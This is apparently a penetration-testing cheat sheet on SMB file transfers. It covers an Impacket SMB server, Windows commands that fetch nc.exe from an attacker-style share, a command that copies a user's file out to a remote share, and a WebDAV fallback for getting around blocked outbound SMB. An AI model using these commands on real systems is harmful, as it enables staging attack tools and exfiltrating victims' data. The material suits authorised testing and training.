SMB Transfers

Impacket SMB Server

# Basic
sudo impacket-smbserver share -smb2support /tmp/smbshare

# With authentication (for newer Windows that block guest access)
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Windows — Copy from SMB

copy \\10.10.10.32\share\nc.exe

If "unauthenticated guest access" is blocked, mount with credentials:

net use n: \\10.10.10.32\share /user:test test
copy n:\nc.exe

Windows — Copy to SMB (Upload)

copy C:\Users\john\Desktop\output.txt \\10.10.14.22\share\output.txt

SMB over HTTP (WebDav)

When SMB (TCP/445) is blocked outbound, WebDav works over HTTP/HTTPS. Windows will fall back to HTTP if SMB fails.

On Windows:

DavWWWRoot is a special Windows Shell keyword for the WebDav root — no such folder exists on the server.

Last updated